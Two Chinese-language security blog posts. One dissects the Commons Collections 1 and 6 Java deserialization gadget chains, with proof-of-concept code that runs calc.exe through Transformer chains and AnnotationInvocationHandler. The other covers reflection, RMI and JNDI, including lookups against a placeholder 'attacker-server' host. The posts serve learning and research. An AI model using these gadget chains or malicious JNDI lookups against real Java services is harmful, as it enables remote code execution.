Java安全 – Harmoc 's blog

标签： <span>Java安全</span>

如何挖一条新的Co…

2020年8月30日2020年8月30日
by harmoc

CommonsCollections1利用链

从一个简化的Demo说起

P神的简化的Demo：

package org.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc.exe"}),
        };

        Transformer transformerChain = new
ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
        outerMap.put("test", "xxxx");
    }
}

创建了⼀个ChainedTransformer，其中包含两个Transformer：第⼀个是ConstantTransformer，
直接返回当前环境的Runtime对象；第⼆个是InvokerTransformer，执⾏Runtime对象的exec⽅法，参
数是 calc.exe 。
当然，这个transformerChain只是⼀系列回调，我们需要⽤其来包装innerMap，使⽤的前⾯说到的
TransformedMap.decorate ：

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

最后，怎么触发回调呢？就是向Map中放⼊⼀个新的元素：

outerMap.put("test", "xxxx");

几个类：

TransformedMap

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰，被修饰过的Map在添加新的元素时，将可
以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰，传出的outerMap即是修饰后的Map：

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

其中， keyTransformer是处理新元素的Key的回调， valueTransformer是处理新元素的value的回调。
我们这⾥所说的”回调“，并不是传统意义上的⼀个回调函数，⽽是⼀个实现了Transformer接⼝的类。

Transformer

Transformer是⼀个接⼝，它只有⼀个待实现的⽅法：

public interface Transformer {
    public Object transform(Object input);
}

TransformedMap在转换Map的新元素时，就会调⽤transform⽅法，这个过程就类似在调⽤⼀个”回调
函数“，这个回调的参数是原始对象。

ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类，它的过程就是在构造函数的时候传⼊⼀个
对象，并在transform⽅法将这个对象再返回：

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
public Object transform(Object input) {
    return iConstant;
}

他的作⽤其实就是包装任意⼀个对象，在执⾏回调时返回这个对象，进⽽⽅便后续操作。

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类，这个类可以⽤来执⾏任意⽅法，这也是反序
列化能执行任意代码的关键。

在实例化这个InvokerTransformer时，需要传⼊三个参数，第⼀个参数是待执⾏的⽅法名，第⼆个参数
是这个函数的参数列表的参数类型，第三个参数是传给这个函数的参数列表 :

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

后⾯的回调transform⽅法，就是执⾏了input对象的iMethodName⽅法：

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    }   catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" +
    iMethodName + "' on '" + input.getClass() + "' does not exist");
    }   catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" +
    iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    }   catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" +
    iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类，它的作⽤是将内部的多个Transformer串
在⼀起。

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

由demo到POC

先对比一下ysoserial的调用栈:

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

demo中并没有用到ObjectInputStream,AnnotationInvocationHandler,LazyMap,而多了一个TransformMap。缘何？

AnnotationInvocationHandler

漏洞的触发是向Map中加入一个新的元素，demo里是手工outerMap.put("test", "xxxx");触发，实际反序列化需要一个类在反序列化的readObject逻辑⾥有类似的写⼊操作。

即sun.reflect.annotation.AnnotationInvocationHandler，其readObject如是（8u71前）：

private void readObject(java.io.ObjectInputStream s) 
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // -_- 关键1
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) { // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) || 
                  value instanceof ExceptionProxy)) {
                memberValue.setValue( // -_- 关键2
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

核⼼逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet() 和
memberValue.setValue(...) 。

memberValues就是反序列化后得到的Map，也是经过了TransformedMap修饰的对象，这⾥遍历了它
的所有元素，并依次设置值。在调⽤setValue设置值的时候就会触发TransformedMap⾥注册的
Transform，进而执⾏我们为其精心设计的任意代码。

所以POC中需要创建一个AnnotationInvocationHandler对象，并将前面构造的HashMap设置进来：

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 
    //反射.forName 获取类
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); 
    //获取其构造方法
construct.setAccessible(true); 
    //设为外部可见
Object obj = construct.newInstance(Retention.class, outerMap); 
    //反射.newInstance 实例化对象

注意这里用了反射。因为 sun.reflect.annotation.AnnotationInvocationHandler 是⼀个内部类，不能直接使⽤new来实例化。使⽤反射获取到了它的构造⽅法，并将其设置成外部可见的，再调⽤就可以实例化了。

Tips：

AnnotationInvocationHandler类的构造函数有两个参数(即Line 7 Retention.class, outerMap)，第⼀个参数是⼀个Annotation类；第⼆个参数就是前⾯构造的Map。

Annotation是java里的注解，@Retention是java里的元注解，元注解是用来描述注解的，即注解的注解。（笑

注解个人理解是标签，不改变程序本身的逻辑，相似于python的装饰器。

回到函数中，@Retention用来描述注解将会在哪个层次存在，即其生命周期：

RetentionPolicy	说明	举例
SOURCE	只会在java文件中存在，编译时忽略	@Override, @SupressWarnings
CLASS	class文件中亦可见，jvm加载时忽略。（默认情况）
RUNTIME	class中可见，jvm加载时亦存在。	@Deprecated

上面构造函数参数1的Retention.calss是描述其jvm加载时忽略？（不像

三处细节

为什么要用反射

AnnotationInvocationHandler对象是反序列化利⽤链的起点。但如果直接将这个对象⽣成序列化流作POC：

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

在writeObject时会出现异常：java.io.NotSerializableException: java.lang.Runtime 。

原因是， Java中不是所有对象都⽀持序列化， 待序列化的对象和所有它使⽤的内部属性对象，必须都实
现了 java.io.Serializable 接口。⽽最早传给ConstantTransformer的是 Runtime.getRuntime() ， Runtime类没有实现 java.io.Serializable 接口，所以不允许被序列化。所以说不能直接使用Runtime类，需要用反射来获取Runtime对象：

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");

转换成Transformer的写法如是：

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class,
                                                     Class[].class }, 
                           new Object[] {"getRuntime",new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class,
                                                  Object[].class }, 
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
    new String[] {
        "calc.exe" }),
};

和demo最⼤的区别就是将 Runtime.getRuntime() 换成了 Runtime.class ，前者是⼀个 java.lang.Runtime 对象，后者是⼀个 java.lang.Class 对象。 Class类有实现Serializable接⼝，所以可以被序列化。

一处if

做完以上修改之后，依旧不是一个可以弹计算器的POC，还有一处逻辑没过：

在 AnnotationInvocationHandler:readObject 的逻辑中，有⼀个if语句对var7进⾏判断，只有在其
不是null的时候才会进⼊⾥⾯执⾏setValue，否则不会进⼊也就不会触发漏洞，绕过的条件：

sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是
Annotation的⼦类，且其中必须含有⾄少⼀个方法，假设方法名是X
被 TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素

所以说，前面用到 Retention.class ，并非是用注解的功能，而是因为Retention有⼀个⽅法，名为value；所以，为了再满⾜第⼆个条件，给Map中放⼊⼀个Key是value的元素即可：

innerMap.put("value", "xxxx");

版本问题

Java 8u71 之后Java官⽅修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数：

改动后，不再直接使⽤反序列化得到的Map对象，⽽是新建了⼀个LinkedHashMap对象，并将原来的键值添加进去。
所以，后续对Map的操作都是基于这个新的LinkedHashMap对象，⽽原来我们精⼼构造的Map不再执⾏set或put操作，也就不会触发RCE了。

LazyMap

P师傅的demo里并没有用到LazyMap，却也完成了弹计算器，他用的是TransformedMap。在如今的java版本中，用LazyMap和TransformedMap其实都不能RCE了，原因如上文版本问题。不过不妨碍跟着ysoserial用LazyMap的利用链去加深理解一下Java对象代理。

根源上讲，LazyMap和TransformedMap都来自于Common-Collections库，并继承AbstractMapDecorator。 LazyMap漏洞触发点和TransformedMap唯一的差别是，TransformedMap是在写入元素的时候执行transform，而LazyMap是在其get方法中执行的 factory.transform 。

LazyMap的Lazy在于“懒加载”，在get找不到值的时候，它会调用 factory.transform 方法去获取一个值：

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

相比于TransformedMap的利用方法，LazyMap后续利用稍微复杂一些，原因是在
sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到
Map的get方法。
所以ysoserial用的是另一条路，AnnotationInvocationHandler类的invoke方法有调用到get，使用可以使用Java的对象代理来调用AnnotationInvocationHandler#invoke ，从而调用到get。

Java 对象代理

作为一门静态语言，如果想劫持一个对象内部的方法调用，实现类似PHP的魔术方法 __call ，我们需
要用到 java.reflect.Proxy ：

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),
                                            new Class[] {Map.class}, 
                                            handler);

Proxy.newProxyInstance 的第一个参数是ClassLoader，我们用默认的即可；第二个参数是我们需要
代理的对象集合；第三个参数是一个实现了InvocationHandler接口的对象，里面包含了具体代理的逻
辑。

回看 sun.reflect.annotation.AnnotationInvocationHandler ，会发现实际上这个类实际就是一个InvocationHandler，我们如果将这个对象用Proxy进行代理，那么在readObject的时候，只要调用任意方法，就会进入到 AnnotationInvocationHandler#invoke 方法中，进而触发我们的LazyMap#get 。

LazyMap构造利用链

在TransformedMap POC的基础上进行修改，首先使用LazyMap替换TransformedMap：

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

然后，对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行Proxy：

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) 
    construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

代理后的对象叫做proxyMap，但我们不能直接对其进行序列化，因为我们入口点是
sun.reflect.annotation.AnnotationInvocationHandler#readObject ，所以我们还需要再用
AnnotationInvocationHandler对proxyMap进行包裹：

handler = (InvocationHandler) 
construct.newInstance(Retention.class,proxyMap);

从CommonsCollections6看利用链的变化

Java 8u71之后，CommonsCollections1因sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化而不再可用，众所周知，CommonsCollections6在CommonsCollections利用链里算泛用性比较强的，跟一下这条链也许能够有些新思路：

//ysoserial garget chain
java.io.ObjectInputStream.readObject()
    java.util.HashSet.readObject()
        java.util.HashMap.put()
        java.util.HashMap.hash()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get()
                     org.apache.commons.collections.functors.ChainedTransformer.transform()
                     org.apache.commons.collections.functors.InvokerTransformer.transform()
                     java.lang.reflect.Method.invoke()
                         java.lang.Runtime.exec()

//P师傅简化链
java.io.ObjectInputStream.readObject()

    java.util.HashMap.readObject()

        java.util.HashMap.hash()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get() //☆
                    org.apache.commons.collections.functors.ChainedTransformer.transform()
                    org.apache.commons.collections.functors.InvokerTransformer.transform()
                    java.lang.reflect.Method.invoke()
                        java.lang.Runtime.exec()

如前文所提及，新版本CC1不可用的核心在AnnotationInvocationHandler的变化，而变化的核心在于Lazymap#get那里被改写。所以说，解决Java⾼版本利⽤问题，实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅。

这个寻找的场景，就很CTF。

新的LazyMap#get()

这里找到的类就是 org.apache.commons.collections.keyvalue.TiedMapEntry ，在其getValue⽅法中调⽤了 this.map.get ，⽽其hashCode⽅法调⽤了getValue⽅法：

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
    this.map = map;
    this.key = key;
    }

    public Object getKey() {
    return this.key;
    }

    public Object getValue() {
    return this.map.get(this.key);
    }
    //...
    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }
    //...
}

所以说，这里要触发LazyMap利⽤链，可以归结为寻找调用 TiedMapEntry#hashCode 处。

ysoserial中，是利⽤ java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key)最后到 TiedMapEntry#hashCode() 。
P师傅的链，因为在 java.util.HashMap#readObject 中就可以找到 HashMap#hash() 的调⽤，所以去掉了最前面的两次调用。(Demo POC)

在HashMap的readObject⽅法中，调⽤到了 hash(key) ，⽽hash⽅法中，调用到了key.hashCode() 。所以，我们只需要让这个key等于TiedMapEntry对象，即可连接上前⾯的分析过程，构成⼀个完整的Gadget。

怎样挖一条新的CommonsCollections利用链

让我们倒退回起点，CommonsCollections1里为了解决Java⾼版本利⽤问题，我们需要在上下⽂中找到是否还有其他调⽤ LazyMap#get() 的地⽅。

梅子酒师傅在WCTF2019出的一道题，这道题摘除了LazyMap和TransformedMap的链。相对解决版本问题时寻找其他 LazyMap#get()的调用更加严苛。要绕过这限制，且先看一下他在出题笔记里归结的LazyMap调用流程：

BadAttributeValueExpException.readObject
TiedMapEntry.toString
TiedMapEntry.getValue
LazyMap.get
ChainedTransformer.transform
InvokerTransformer.transform

回想最初用TransformedMap的那个极简Demo，调用流程（此处再查

那么，我们需要寻找到一个Map，在这个Map中，应当调用了transformer.transform，并且transformer的值可控。这里所找到的就是DefaultedMap,他们都是在get方法中调用transform，并且调用transform方法的对象都是可控的transformer，流程同LazyMap类似：

BadAttributeValueExpException.readObject
TiedMapEntry.toString
TiedMapEntry.getValue
DefaultedMap.get
ChainedTransformer.transform
InvokerTransformer.transform

之后在用LazyMap的exp之上写一份用DefaultedMap的即可。

题目到这里就结束了，但一个好的CTF题，出题人会想告诉我们一些安全研究的方法论。

如何挖一条新的利用链？从P师傅的Java安全漫谈和梅子酒师傅的题中能看出，他们都在考虑链上的那些东西是必要，那些东西是可以替换的。题目里，LazyMap可以被DefaultedMap替换；漫谈中，CommonsCollections1链的某些环可以被精简。抽丝剥茧与改弦更张之后，说不定就是新的利用链。

参考

Phithon师傅的Java安全漫谈
（全系列，包括未来的新漫谈也想丰富进这篇文章，真的学到很多，极度推荐

梅子酒的WCTF2019出题笔记
（如何挖一条新的CommonsCollections利用链

Security notes

Java安全基础备…

2020年7月3日2021年3月6日
by harmoc

[TOC]

前言与学习的文档

首先得感谢longofo师傅Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿这篇文章让我大概的了解了JNDI、LDAP这些基础概念。不过美中不足的是，这篇文章与其说文章，不如说是这师傅给自己RMI、JNDI、LDAP基础例程项目写的说明书，排版和机翻语式让人读起来稍稍有些难受。

于是冒昧润色一下，加上P师傅知识星球里分享的Java安全漫谈、勾陈实验室的三篇Java反序列化文章，删删改改，添些利于自己记忆的锚点，算作Java安全基础备忘录。

备忘录不是教科书，漏洞这些东西还是得自己调调才入脑，还是建议像我一样刚刚开始看Java安全的朋友，仔细调一遍longofo师傅的例程，很多琐碎的问题自己心态爆炸的调一遍才明白。

Java反序列化总览

通过对比PHP和python的反序列化，其实更能看出Java反序列化的特点和模式。

相较PHP

Java的反序列化和PHP的反序列化其实有点类似，他们都只能将一个对象中的属性按照某种特定的格式生成一段数据流，在反序列化的时候再按照这个格式将属性拿回来，再赋值给新的对象。

Java相对PHP序列化更深入的地方在于，其提供了更加高级、灵活地方法 writeObject ，允许开发者在序列化流中插入一些自定义数据，进而在反序列化的时候能够使用 readObject 进行读取。

readObject 倾向于解决“反序列化时如何还原一个完整对象”这个问题，而PHP的 __wakeup 更倾向于解决“反序列化后如何初始化这个对象”的问题。个人理解，相比Java里可以我们参与到序列化过程之中，PHP序列化，是更耦合的过程。

相较Python

Python反序列化和Java、PHP有个显著的区别，就是Python的反序列化过程实际上是在执行一个基于栈的虚拟机。可以向栈上增、删对象，也可以执行一些指令，比如函数的执行等，甚至可以用这个虚拟机执行一个完整的应用程序。

所以，Python的反序列化可以立即导致任意函数、命令执行漏洞，与需要gadget的PHP和Java相比更加危险

反射

P师傅漫谈的开头是这么说的：Java安全可以从反序列化说起，而反序列化又可以从反射说起。

确实，看过几个Java反序列化的漏洞，基本流程描述都是xxxxxx->xxxxxx->xxxxxxx（虽说凡是有利用链的漏洞都可以这么描述Orz ），在->的过程中，反射便是基础。

通过反射，对象可以通过反射获取他的类，类可以通过反射拿到所有方法（包括私有），拿到方法之后就可以调⽤，总之通过“反射”，可以将Java这种静态语⾔附加上动态特性。动态特性，即⼀段代码，改变其中的变量，将会导致这段代码产⽣功能性的变化。

如是：

public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}

由此引出反射过程中的关键方法：

获取类的方法： forName
实例化类对象的方法： newInstance
获取函数的方法： getMethod
执行函数的方法： invoke

获取类的方法： forName

通常来说有如下三种方式获取⼀个“类”，也就是 java.lang.Class 对象：

obj.getClass() 如果上下⽂中存在某个类的实例 obj ，那么可以直接通过obj.getClass() 来获取它的类
Test.class 如果你已经加载了某个类，只是想获取到它的 java.lang.Class 对象，那么就直接拿它的 class 属性即可。这个方法其实不属于反射。
Class.forName 如果你知道某个类的名字，想获取到这个类，就可以使⽤ forName来获取
同时，对攻击很有用的一点是forName不需要import，可以加载任意类

实例化类对象的方法：newInstance

$ 的作用是查找内部类。Java的普通类 C1 中支持编写内部类 C2 ，而在编译的时候，会生成两个文件： C1.class 和C1$C2.class ，可以把他们看作两个无关的类，通过Class.forName("C1$C2")即可加载这个内部类。

而获得类以后，可以继续使用反射来获取这个类中的属性、方法，也可以实例化这个类，并调用方法。

class.newInstance() 的作用就是调用这个类的无参构造函数，这个比较好理解。但使用newInstance()不成功的可能有两点：

使用的类没有无参构造函数
- 如果一个类没有无参构造方法，也没有类似单例模式里的静态方法，怎样通过反射实例化该类呢？
  需要用到一个新的反射方法 getConstructor，和 getMethod 类似，getConstructor 接收的参数是构造函数列表类型，因为构造函数也支持重载，所以必须用参数列表类型才能唯一确定一个构造函数。获取到构造函数后，使用 newInstance 来执行。
使用的类构造函数是私有的
- 如果一个方法或构造方法是私有方法，是否能执行它呢？
  这就涉及到 getDeclared 系列的反射了，与普通的 getMethod 、getConstructor 区别是：
  getMethod 系列方法获取的是当前类中所有公共方法，包括从父类继承的方法
  getDeclaredMethod 系列方法获取的是当前类中“声明”的方法，是实在写在这个类里的，包括私有的方法，但从父类里继承来的就不包含了.
  getDeclaredMethod 的具体用法和 getMethod 类似， getDeclaredConstructor 的具体用法和getConstructor 类似
```
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(),"calc.exe");
```
这里使用了一个方法 setAccessible ，这个是必须的。在获取到一个私有方法后，必须用setAccessible 修改它的作用域，否则仍然不能调用。

获取函数的方法： getMethod

getMethod 的作用是通过反射获取一个类的某个特定的公有方法。而学过Java的朋友应该清楚，Java中支持类的重载，不能仅通过函数名来确定一个函数。所以，在调用 getMethod 的时候，需要传给他你需要获取的函数的参数类型列表。

执行函数的方法： invoke

invoke 的作用是执行方法，它的第一个参数是：

如果这个方法是一个普通方法，那么第一个参数是类对象
如果这个方法是一个静态方法，那么第一个参数是类

正常执行方法是[1].method([2], [3], [4]...)，其实在反射里就是method.invoke([1], [2], [3], [4]...) 。

RMI

Remote Method Invocation，远程方法调用，顾名思义，跨JVM调用方法。

极大程度依赖接口。

依托JRMP，即（Java Remote Method Protocol，Java远程方法协议）。

基本用法

⼀个RMI Server分为三部分：

⼀个继承了 java.rmi.Remote 的接⼝，其中定义要远程调⽤的函数，⽐如这⾥的 hello()
⼀个实现了此接⼝的类
⼀个主类，⽤来创建Registry，并将上⾯的类实例化后绑定到⼀个地址。这就是所谓的Server了

客户端就简单多了，使⽤ Naming.lookup 在Registry中寻找到名字是Hello的对象，后⾯的使⽤就和在本地使⽤⼀样了

虽说执行远程方法的时候代码是在远程服务器上执行的，但实际上还是需要知道有哪些方法，这时候接⼝的重要性就体现了，这也是为什么前⾯要继承 Remote 并将需要调⽤的方法写在接口IRemoteHelloWorld ⾥，因为客户端也需要⽤到这个接⼝。

总结一下，一个RMI过程有以下三个参与者：

RMI Registry
RMI Server
RMI Client

通常在新建一个RMI Registry的时候，都会直接绑定一个对象在上面，也就是说一般RMI中server.java中的Server其实包含了Registry和Server两部分：

LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/Hello", new RemoteHelloWorld());

第一行创建并运行RMI Registry，第二行将RemoteHelloWorld对象绑定到Hello这个名字上。

Naming.bind 的第一个参数是一个URL，形如： rmi://host:port/name 。其中，host和port就是RMI Registry的地址和端口，name是远程对象的名字。如果RMI Registry在本地运行，那么host和port是可以省略的，此时host默认是 localhost ，port默认是 1099 ：

 Naming.bind("Hello", new RemoteHelloWorld());

这里还得提一下注意Stub和Skeleton。挺多文章就充满机翻痕迹地提一句。其实他们主要就是起一个类似代理的作用，RMI通信实质就是两个JVM中各开一个Stub和Skeleton，二者通过socket通信来实现参数和返回值的传递。Stub，存根嘛，其实仔细想想这说法挺有韵味的。

RMI的动态加载类

java.rmi.server.codebase 表示一个或多个URL位置，可以从中下载本地找不到的类，相当于一个代码库。代码库定义为将类加载到虚拟机的源或场所，可以将CLASSPATH视为“本地代码库”，因为它是磁盘上加载本地类的位置的列表。就像CLASSPATH"本地代码库"一样，小程序和远程对象使用的代码库可以被视为"远程代码库"。

这样就模拟出了一种攻击场景，这时受害者是作为RMI客户端的，但需满足以下条件才能利用：

可以控制客户端去连接的恶意服务端
客户端允许远程加载类(
由于Java SecurityManager的限制，默认是不允许远程加载的，如果需要进行远程加载类，需要安装RMISecurityManager并且配置java.security.policy
)
JDK版本限制 (
从JDK 6u45、7u21开始，java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时，将禁用自动加载远程类文件，仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。
)

Weblogic RMI

相对原生RMI高性能
隧道式，即rmi://可走iiop://和http://
动态存根与骨架
T3协议：WebLogic的自有协议，Weblogic RMI就是通过T3协议传输与其他http协议端口共用

小结

RMI标准实现是Java RMI，其他实现还有Weblogic RMI、Spring RMI等。
RMI的调用是基于序列化的，一个对象远程传输需要序列化，需要使用到这个对象就需要从序列化的数据中恢复这个对象，恢复这个对象时对应的readObject、readExternal等方法会被自动调用。
RMI可以利用服务器本地反序列化利用链进行攻击。RMI具有动态加载类的能力以及能利用这种能力进行恶意利用。
这种利用方式是在本地不存在可用的利用链或者可用的利用链中某些类被过滤了导致无法利用时可以使用，不过利用条件有些苛刻。
Weblogic RMI和Java RMI的区别，以及Java RMI默认使用的专有传输协议（或者也可以叫做默认协议）是JRMP，Weblogic RMI默认使用的传输协议是T3。
Weblogic RMI正常调用触发反序列化以及模拟T3协议触发反序列化都可以，但是模拟T3协议传输简化了很多过程

JNDI

JNDI (Java Naming and Directory Interface) ，包括Naming Service和Directory Service。

JNDI是Java API，允许客户端通过名称发现和查找数据、对象。

这些对象可以存储在不同的命名或目录服务中，例如远程方法调用（RMI），公共对象请求代理体系结构（CORBA），轻型目录访问协议（LDAP）或域名服务（DNS）。

特点

不区分客户端和服务器端，也不具备远程能力，远程能力由被其协同的其他应用提供。
在客户端和服务器端都能进行一些工作，客户端进行各种访问、查询、搜索，服务器端帮助管理配置，即各种bind
- 比如RMI服务器端不直接使用Registry进行bind，用JNDI统一管理（其底层还是调用Registry的bind）
- 客户端类URL访问目标服务

例子：

//JNDI配合RMI
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
  "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
  "rmi://localhost:9999");
  Context ctx = new InitialContext(env);

//将名称refObj与一个对象绑定，这里底层也是调用的rmi的registry去绑定ctx.bind("refObj", new RefObject());

//通过名称查找对象
ctx.lookup("refObj");

//JNDI配合LDAP

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
 "com.sun.jndi.ldap.LdapCtxFactory");
 env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

DirContext ctx = new InitialDirContext(env);

//通过名称查找远程对象，假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

JNDI动态协议转换

上面的两个例子都手动设置了对应服务的Factory以及对应服务的PROVIDER_URL，但是JNDI是能够进行动态协议转换的：

//没有设置对应服务的Factory以及PROVIDER_URL，JNDI根据传递的URL协议自动转换与设置了对应的Factory与PROVIDER_URL。
Context ctx = new InitialContext();
ctx.lookup("rmi://attacker-server/refObj");
//ctx.lookup("ldap://attacker-server/cn=bar,dc=test,dc=org");
//ctx.lookup("iiop://attacker-server/bar");

再如：

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
        "rmi://localhost:9999");
Context ctx = new InitialContext(env);

String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";
//通过名称查找对象
ctx.lookup(name);

即使服务端提前设置了Factory与PROVIDER_URL也不要紧，如果在lookup时参数能够被攻击者控制，同样会根据攻击者提供的URL进行动态转换。

//lookup->getURLOrDefaultInitCtx
public Object lookup(String name) throws NamingException {
    return getURLOrDefaultInitCtx(name).lookup(name);
}

protected Context getURLOrDefaultInitCtx(String name) 
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
    //这里不是说设置了上下文环境变量就会进入，因为没有执行初始化上下文Factory的构建，所以上面那两种情况在这里都不会进入
    return getDefaultInitCtx();
}
String scheme = getURLScheme(name);//尝试从名称解析URL中的协议
if (scheme != null) {
    Context ctx = NamingManager.getURLContext(scheme, myProps);//如果解析出了Schema协议，则尝试获取其对应的上下文环境
    if (ctx != null) {
   return ctx;
    }
}
return getDefaultInitCtx();
   }

JNDI命名引用

对象可以通过绑定由命名管理器解码并解析为原始对象的一个引用间接地存储在命名或目录服务中。

引用由Reference类表示，并且由地址和有关被引用对象的类信息组成，每个地址都包含有关如何构造对象。

Reference可以使用Factory来构造对象。当使用lookup查找对象时，Reference将使用Factory提供的Factory类加载地址来加载Factory类，Factory类将构造出需要的对象：

Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("Foo", wrapper);

还有其他从引用构造对象的方式，但是使用Factory的话，因为为了构造对象，需要先从远程获取Factory类并在目标系统中Factory类被加载。

JNDI-Naming Manager与SPI

JNDI从远程加载类有两个不同的级别：

命名管理器（Naming Manager）级别
服务提供者接口（SPI）级别

在Naming Manager层放宽了安全控制。解码JNDI命名时始终允许引用从远程代码库加载类，而没有JVM选项可以禁用它，并且不需要强制安装任何安全管理器，例如上面说到的命名引用那种方式。

